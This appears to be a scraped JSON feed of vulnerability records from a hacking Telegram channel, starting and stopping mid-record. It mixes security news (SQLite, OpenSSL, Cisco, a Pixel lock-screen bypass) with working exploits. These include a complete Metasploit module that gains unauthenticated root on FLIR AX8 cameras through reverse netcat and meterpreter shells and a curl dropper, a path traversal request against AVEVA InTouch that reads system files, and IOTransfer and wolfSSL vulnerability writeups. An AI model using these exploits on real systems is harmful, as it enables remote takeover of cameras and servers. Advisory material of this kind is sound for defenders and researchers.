Path\n\nhttps://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png \nIOTransfer version 4 suffers from an unquoted service path vulnerability.\n\nSHA-256 | 2515cc0396c9fe28d6463554e021cf6e157431616218c48cd4778c46dd153be4\n\nDownload\n# Exploit Title: IOTransfer V4 - Unquoted Service Path\n# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)\n# Discovery Date: 2022-28-07\n# Vendor Homepage: http://www.iobit.com/en/index.php\n# Software Link: https://iotransfer.itopvpn.com/download/\n# Tested Version: V4\n# Vulnerability Type: Unquoted Service Path\n# Tested on OS: Microsoft Windows Server 2019 Standard Evaluation CVE-2022-37197\n# Step to discover Unquoted Service Path:\n\nC:\\>wmic service get name,displayname,pathname,startmode |findstr /i \"auto\" |findstr /i /v \"c:\\windows\\\\\" |findstr /i /v \"\"\"\n\nIOTransfer Updater IOTUpdaterSvc C:\\Program Files (x86)\\IOTransfer\\Updater\\IOTUpdater.exe\nAuto\n\nC:\\>sc qc IOTUpdaterSvc\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: IOTUpdaterSvc\nTYPE : 10 WIN32_OWN_PROCESS\nSTART_TYPE : 2 AUTO_START\nERROR_CONTROL : 1 NORMAL\nBINARY_PATH_NAME : C:\\Program Files (x86)\\IOTransfer\\Updater\\IOTUpdater.exe\nLOAD_ORDER_GROUP :\nTAG : 0\nDISPLAY_NAME : IOTransfer Updater\nDEPENDENCIES :\nSERVICE_START_NAME : LocalSystem\n\nC:\\>systeminfo\n\nOS Name: Microsoft Windows Server 2019 Standard Evaluation\nOS Version: 10.0.17763 N/A Build 17763\nOS Manufacturer: Microsoft Corporation\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-37197", "author": {"login": "automation"}}, {"uuid": "b195a583-0c97-4227-bca2-0d967d861e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.728929+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/74939", "content": "couldn\u2019t find a way to inject a 2GB string.\n\nCVE-2022-35737 was reported to the Computer Emergency Response Team (CERT) Coordination Center by Trail of Bits on July 14. CERT confirmed the issue, reached out to SQLite maintainers, and the team fixed the bug in the software\u2019s source code only three days later \u2013 a task accomplished by converting to the use of 64-bit integers.\n\nThe patched SQLite version, v3.39.2, was released on July 21.\n\n\u201cWe are grateful for the responsible disclosure from the researchers who found it,\u201d Hipp said. \u201cIt doesn\u2019t hurt to upgrade to a newer release of SQLite. But very few if any real-world applications should be affected by this.\u201d\n\n\u200b\nTrending: Exploited Windows zero-day lets JavaScript files bypass security warnings Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-5-1-300x150.png OpenSSL Gives Heads Up to Critical Vulnerability DisclosureOctober 31, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-4-1-300x150.png GitHub patches bug called repojacking that could allow access to another user\u2019s repoOctober 28, 2022\nReading Time: 3 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-3-1-300x150.png Windows vulnerable driver blocklist sync issue patchedOctober 27, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-2-2-300x150.png Cisco warns admins to patch AnyConnect flaw exploited in attacksOctober 26, 2022\nReading Time: 3 minutes\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!\nThe post SQLite patches 22-year-old code execution, a DoS vulnerability first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-35737", "author": {"login": "automation"}}, {"uuid": "67b33190-885e-4ed2-9942-9ac4dd92f452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.686858+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/75075", "content": "Exploit Collector\nFLIR AX8 1.46.16 Remote Command Injection\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.\n\nSHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'FLIR AX8 unauthenticated RCE',\n'Description' => %q{\nAll FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.\nThis can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter\nin the res.php endpoint.\n\nThis module uses the vulnerability to upload and execute payloads gaining root privileges.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher\n'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher\n'h00die-gr3y' # metasploit module\n],\n'References' => [\n['CVE', '2022-37061'],\n['PACKETSTORM', '168114'],\n['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],\n],\n'DisclosureDate' => '2022-08-19',\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_ARMLE],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/reverse_netcat'\n}\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_ARMLE],\n'Type' => :linux_dropper,\n'CmdStagerFlavor' => [ 'curl', 'printf' ],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'\n}\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'RPORT' => 80,\n'SSL' => false\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\nend\n\ndef execute_command(cmd, _opts = {})\naction_id = rand(1..40)\nreturn send_request_cgi({\n'method' => 'POST',\n'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',\n'uri' => normalize_uri(target_uri.path, 'res.php'),\n'vars_post' => {\n'action' => 'alarm',\n'id' => \"#{action_id};#{cmd}\"\n}\n})\nrescue StandardError => e\nelog(\"#{peer} - Communication error occurred: #{e.message}\", error: e)\nprint_error(\"Communication error occurred: #{e.message}\")\nreturn nil\nend\n\n# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution\ndef check\nprint_status(\"Checking if #{peer} can be exploited!\")\nsleep_time = rand(5..10)\nprint_status(\"Performing command injection test issuing a sleep command of #{sleep_time} seconds.\")\nres, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nreturn Exploit::CheckCode::Unknown('No response received from the target!') unless res\n\nprint_status(\"Elapsed time: #{elapsed_time} seconds.\")\nreturn CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time\n\nCheckCode::Vulnerable('Successfully tested command injection.')\nend\n\ndef exploit\ncase target['Type']\nwhen :unix_cmd\nprint_status(\"Executing #{target.name} with #{payload.encoded}\")\nexecute_command(payload.encoded)\nwhen :linux_dropper\nprint_status(\"Executing #{target.name}\")\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-37061", "author": {"login": "automation"}}, {"uuid": "733ce483-7fa4-4d57-964b-8b7667ce405f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.640329+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76164", "content": "Black Hat Ethical Hacking\nGoogle Pixel screen-lock hack with $70k bug bounty payout\n\nGoogle Pixel screen-lock hack with $70k bug bounty payoutPost Views: 64 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A security researcher scored a $70k bug bounty payout after accidentally discovering a Google Pixel\u00a0lock-screen bypass hack.The vulnerability, discovered by David Sch\u00fctz, meant an attacker could unlock any Google Pixel phone without knowing the passcode. Google fixed the issue (tracked at CVE-2022-20465) with a November update, allowing Sch\u00fctz to go public with his findings.\n\nThe vulnerability created a means for a potential hacker to bypass lock-screen protections such as fingerprint or PIN authentication and obtain physical access to a target device. The hack could be carried out with minimal technical skill against a range of mobile devices\u00a0running Android, by following a series of steps.\n\nFortunately, the exploit is not something that would lend itself to remote exploitation.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course \u200bSerendipity strikesAs explained in a blog post, Sch\u00fctz came across the issue by chance when he forgot the PIN code of his Pixel phone and had to use the PUK code to regain access. After successfully completing the process, he noticed oddities in the lock screen he was confronted with.\n\n\u201cIt was a fresh boot, and instead of the usual lock icon, the fingerprint icon was showing,\u201d Sch\u00fctz recalled. \u201cIt accepted my finger, which should not happen, since after a reboot, you must enter the lock screen PIN or password at least once to decrypt the device.\u201d\n\nAfter accepting his finger, the device crashed with a weird \u201cPixel is starting\u2026\u201d message, which Sch\u00fctz addressed with a forced reboot.\n\nSch\u00fctz decided to investigate the issue over subsequent days. On one occasion he forgot to reboot the phone, and just began from a normal unlocked state, locked the device, and hot-swapped the SIM tray, before carrying out the SIM PIN reset process.\n\nAfter following this sequence before entering the PUK code and choosing a new PIN, Sch\u00fctz was presented with his unlocked home screen.\n\nThe researcher realized that he had achieved a full lock screen bypass on the fully patched Pixel 6. The same trick worked on a Pixel 5. Easy exploitationSch\u00fctz realized the hack would be easily exploited by anyone, from spies to crooks and jealous spouses.\n\n\u201cSince the attacker could just bring his/her own PIN-locked SIM card, nothing other than physical access was required for exploitation. The attacker could just swap the SIM in the victim\u2019s device, and perform the exploit with a SIM card that had a PIN lock and for which the attacker knew the correct PUK code.\u201d\nTrending: Using VPS for Bug Bounty, comparing VPS providers Trending: Offensive Security Tool: WinPwnage Patch puzzlementSch\u00fctz reported the issue to Google\u00a0and the tech giant processed and filed the bug promptly, but remediation took far longer.\n\nAfter telling Sch\u00fctz the issue was a duplicate, and therefore not normally eligible for a bug bounty, Google failed to act for some weeks, before repeated chasing by Sch\u00fctz and a demo of the exploit to Google staffers at a Google-run bug hunter event called ESCAL8 in September prompted action.\n\nShortly after this, Google said that even though Sch\u00fctz\u2019s report was a duplicate, it had only started working on a fix because of his submission, so the firm had decided to pay him a $70,000 bounty for the lock screen bypass.\n\nThe bug was fixed on November 5, allowing Sch\u00fctz to disclose his findings and a video demonstrating the flaw.\n\nThe researcher deduced[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20465", "author": {"login": "automation"}}, {"uuid": "432b9254-7eb3-4344-9517-f040b89a31a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.603890+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76206", "content": "Exploit Collector\nAVEVA InTouch Access Anywhere Secure Gateway 2020 R2 Path Traversal\n\nhttps://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png \nAVEVA InTouch Access Anywhere Secure Gateway 2020 R2 suffers from a path traversal vulnerability.\n\nSHA-256 | a78de92013681ef6d9eab5f28cda6712397f5a30d67a7a27854785925a87f96a\n\nDownload\nExploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal\nExploit Author: Jens Regel (CRISEC IT-Security)\nDate: 11/11/2022\nCVE: CVE-2022-23854\nVersion: Access Anywhere Secure Gateway versions 2020 R2 and older\n\nProof of Concept:\nGET \n/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini \nHTTP/1.1\n\nHTTP/1.1 200 OK\nServer: EricomSecureGateway/8.4.0.26844.*\n(..)\n\n; for 16-bit app support\n[fonts]\n[extensions]\n[mci extensions]\n[files]\n[Mail]\nMAPI=1\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23854", "author": {"login": "automation"}}, {"uuid": "6e0476ed-6993-424c-922a-4680a78a5605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.568405+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74858", "content": "Exploit Collector\nwolfSSL Buffer Overflow\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png In wolfSSL versions prior to 5.5.1, malicious clients can cause a buffer overflow during a resumed TLS 1.3 handshake. If an attacker resumes a previous TLS session by sending a maliciously crafted Client Hello, followed by another maliciously crafted Client Hello. In total 2 Client Hellos have to be sent. One which pretends to resume a previous session and a second one as a response to a Hello Retry Request message.\n\nSHA-256 | dc47311c0e4409688cd698016d1b6ec4010bff4dbccd63241e107b8a91774b58Download # wolfssl before 5.5.1: CVE-2022-39173 Buffer overflow when refining\ncipher suites\n==================================================================================\n## INFO\n=======\n\nThe CVE project has assigned the id CVE-2022-39173 to this issue.\n\nSeverity: high 7.5\nAffected version: before 5.5.1\nEnd of embargo: The embargo for this vulnerability ended 29th of September, 2022\n## SUMMARY\n==========\n\nIn wolfSSL before 5.5.1 malicious clients can cause a buffer-overflow\nduring a resumed TLS 1.3 handshake. If an attacker resumes a previous\nTLS session by sending a maliciously crafted Client Hello, followed by\nanother maliciously crafted Client Hello. In total 2 Client Hellos\nhave to be sent. One which pretends to resume a previous session and a\nsecond one as a response to a Hello Retry Request message.\n\nThe malicious Client Hellos contain a list of supported cipher suites,\nwhich contain at least `\u230asqrt(150)\u230b + 1 = 13` duplicates and less than\n150 ciphers in total. The buffer-overflow occurs in the `RefineSuites`\nfunction. An overflow of 44700 bytes has been confirmed. Therefore,\nlarge portions of the stack can get overwritten, including return\naddresses.\n\nWe confirmed the vulnerability by sending packets over TCP to a\nWolfssl server, freshly built from the sources with the\n`--enable-session-ticket` flags (or simply `--enable-all`). We can\nprovide sources for our software (tlspuffin) that produce those\npackets (and that automatically found the attack trace). The command\ngiven at the end of this document triggers the buffer overflow.\n\nIt is very likely that there is a way to craft an exploit which can\ncause a RCE. We have not yet created such an exploit as it would\nlikely depend on the memory layout of the binary which uses wolfSSL.\n\nMoreover, the size of the overflow can be fine-tuned in order to not\nsmash the stack and continue the execution with a too large length of\nsuites buffer and that will cause other routines that iterate over\nthus buffer (e.g., `FindSuiteSSL`) to misbehave. Hypothetically, this\nmight be exploited to make the server use a cipher it should not\naccept such as `nullcipher` that would open up new attack vectors such\nas downgrade attacks.\nWhile this has not been confirmed yet, the buffer overflow itself has\nbeen confirmed.\n## DETAILS\n==========\n\nLine numbers below are valid for the wolfSSL Git tag\n[v5.4.0-stable](https://github.com/wolfSSL/wolfssl/tree/v5.4.0-stable).\n\nThe bug we found is in the `RefineSuites` function. In the following\nwe want to explain why the function is able to overflow the `suites`\narray.\n```c\n/* Refine list of supported cipher suites to those common to server and client.\n*\n* ssl         SSL/TLS object.\n* peerSuites  The peer's advertised list of supported cipher suites.\n*/\nstatic void RefineSuites(WOLFSSL* ssl, Suites* peerSuites)\n{\nbyte   suites[WOLFSSL_MAX_SUITE_SZ];\nword16 suiteSz = 0;\nword16 i, j;\n\nXMEMSET(suites, 0, WOLFSSL_MAX_SUITE_SZ);\n\nfor (i = 0; i < ssl->suites->suiteSz; i += 2) {\nfor (j = 0; j < peerSuites->suiteSz; j += 2) {\nif (ssl->suites->suites[i+0] == peerSuites->suites[j+0] &&\nssl->suites->suites[i+1] == peerSuites->suites[j+1]) {\nsuites[suiteSz++] = peerSuites->suites[j+0];\nsuites[suiteSz++] = peerSuites->suites[j+1];\n}\n}\n}\n\nssl->suites->suiteSz = suiteSz;\nXMEMCPY(ssl->suites->suites, &suites, sizeof(suites));\n#ifdef WOLFSSL_DEBUG_TLS\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-39173", "author": {"login": "automation"}}, {"uuid": "c8ce4df3-53e3-4d73-8d70-fefd84caa4eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.512691+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/74938", "content": "Black Hat Ethical Hacking\nSQLite patches 22-year-old code execution, a DoS vulnerability\n\nSQLite patches 22-year-old code execution, a DoS vulnerabilityPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes The maintainers of the SQLite database engine have patched a high severity\u00a0vulnerability (DoS)\u00a0that attackers could exploit to crash or control programs that rely on the software.Developers of the software have offered The Daily Swig\u00a0a convincing argument that the flaw would be difficult to exploit in practice. Even so, they have revised the software with a patch to defend against the flaw \u2013 rather than dismissing the issue as something that can be safely ignored. SQLite\u00a0is a popular open source C-language library that underpins many enterprise apps and services. Notable users of SQLite\u00a0include Apple, Adobe, Google, Facebook, and Microsoft. There are billions of copies of SQLite deployed worldwide.\n\nThe SQLite team is quick to fix emerging vulnerabilities in the software due to their potentially wide-reaching impact. However, a vulnerability disclosed this month by Trail of Bits was introduced 22 years ago and highlighted how initially secure functionality could have unintended consequences much further down the line.\n\nIn a blog post\u00a0dated October 25, Trail of Bits researcher Andreas Kellas said the vulnerability was introduced in SQLite version 1.0.12, a 2000 release that landed when the software was primarily based on 32-bit architectures. According to Kellas, the bug \u201cmay not have seemed like an error\u201d at the time.\n\nThe high severity vulnerability is tracked as CVE-2022-35737, scoring a CVSS severity score of 7.5.\n\nTrail of Bits said the bug impacts any app that relies on the SQLite library API.\n\nThe vulnerability is exploitable on 64-bit systems when large string inputs contain %Q, %q, or %w\u00a0format substitution types that \u2013 in this scenario \u2013 might cause programs to crash or worse.\n\nIn the most severe cases \u2013 when the !\u00a0special character exists in the format string \u2013 it may be \u201cpossible to achieve arbitrary code execution, in the worst case, or to cause the program to hang and loop (nearly) indefinitely,\u201d according to the researchers.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Root cause analysisSpeaking to The Daily Swig, the creator of SQLite, D. Richard Hipp, said the root cause of the problem was the use of signed 32-bit integers as a byte index into the input string and to compute the size of the output string. When an input string was large enough, the integer would overflow, and \u201call kinds of problems\u201d ensued.\n\nHowever, the potential impact of the flaw appears to be limited.\n\nHipp told us that it is not possible to reach the vulnerability for malicious purposes via SQL inputs or by passing SQLite a malformed database file. Instead, an attacker would have to abuse the use the sqlite3_mprintf()\u00a0function \u2013 or \u201csimilar C-level interfaces with a format string that includes one of the non-standard [;\u2026]\u00a0conversion symbols, and then pass in a string that is over 2GB in size\u201d.\n\nThe software developer added:\n\n\u201cLots of applications use SQLite, but only a small percentage of those use the sqlite3_mprintf() API, and an even smaller percentage make use of %Q, %q, or %w. Of those that do, most do not provide a way for an attacker to arrange for a 2GB+ string to be passed into the argument to %Q, %q, or %w.\u201d\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Unearthing FossilIn addition, while the project uses the Fossil control system and this software uses printf, the team [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-35737", "author": {"login": "automation"}}, {"uuid": "230776c3-bb33-4825-aac4-4b7fefcfe56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.462536+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74685", "content": "Walkthrough of Exploiting CVE-2022\u201342889 (Text4Shell/ACT4Shell)\nhttps://systemweakness.com/walkthrough-of-exploiting-cve-2022-42889-text4shell-act4shell-558b37fbc273?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-42889", "author": {"login": "automation"}}, {"uuid": "067c1413-ff08-4b95-9a3a-5daacb2b3603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.421188+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74687", "content": "SummaryContinue reading on System Weakness \u00bb (https://systemweakness.com/walkthrough-of-exploiting-cve-2022-42889-text4shell-act4shell-558b37fbc273?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-42889", "author": {"login": "automation"}}, {"uuid": "ecc5ae32-f584-4ae2-9219-2672aac5994f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.383048+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/74815", "content": "Black Hat Ethical Hacking\nOpenSSL Gives Heads Up to Critical Vulnerability Disclosure\n\nOpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Developers of the OpenSSL\u00a0cryptography\u00a0library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as \u2018critical\u2019. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).\n\nHeartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or \u201chalf a million widely trusted websites\u201d.\n\nLittle is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.\n\nOpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week\u2019s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.\n\nNo details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the \u201cnext Heartbleed\u201d.\n\nOne security expert from Google, for example, has suggested\u00a0on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug \u2013 known as DHEat and previous confirmed to affect OpenVPN and SSH services \u2013 involves enforcing the Diffie-Hellman key exchange.\n\nDHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.\n\nOn the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post\u00a0referencing DHEat makes it even more unlikely that the looming patch tackles this issue.\n\nIt seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us\u00a0that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.\n\n\u201cIn the first instance, it\u2019s critical to find out where 3.x is used,\u201d Fox said. \u201cMore importantly, it\u2019s vital to get tooling in place to avoid having to audit and identify components manually every time.\u201d\n\nFox went on to argue that speculation about the content of the upcoming fix were, at best, \u201cunhelpful\u201d. He said: \u201cThe speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.\n\n\u201cThe team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2002-20001", "author": {"login": "automation"}}, {"uuid": "4edad3af-d71f-4c94-a8a7-f583253ee9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.334868+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/74815", "content": "Black Hat Ethical Hacking\nOpenSSL Gives Heads Up to Critical Vulnerability Disclosure\n\nOpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Developers of the OpenSSL\u00a0cryptography\u00a0library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as \u2018critical\u2019. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).\n\nHeartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or \u201chalf a million widely trusted websites\u201d.\n\nLittle is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.\n\nOpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week\u2019s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.\n\nNo details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the \u201cnext Heartbleed\u201d.\n\nOne security expert from Google, for example, has suggested\u00a0on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug \u2013 known as DHEat and previous confirmed to affect OpenVPN and SSH services \u2013 involves enforcing the Diffie-Hellman key exchange.\n\nDHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.\n\nOn the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post\u00a0referencing DHEat makes it even more unlikely that the looming patch tackles this issue.\n\nIt seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us\u00a0that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.\n\n\u201cIn the first instance, it\u2019s critical to find out where 3.x is used,\u201d Fox said. \u201cMore importantly, it\u2019s vital to get tooling in place to avoid having to audit and identify components manually every time.\u201d\n\nFox went on to argue that speculation about the content of the upcoming fix were, at best, \u201cunhelpful\u201d. He said: \u201cThe speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.\n\n\u201cThe team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2014-0160", "author": {"login": "automation"}}, {"uuid": "4f797ba1-c3fa-4a97-8e04-4569812e5d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.287803+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/74296", "content": "Black Hat Ethical Hacking\nCisco warns admins to patch AnyConnect flaw exploited in attacks\n\nCisco warns admins to patch AnyConnect flaw exploited in attacksPost Views: 62 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Cisco warned customers today that two security vulnerabilities in the Cisco AnyConnect Secure 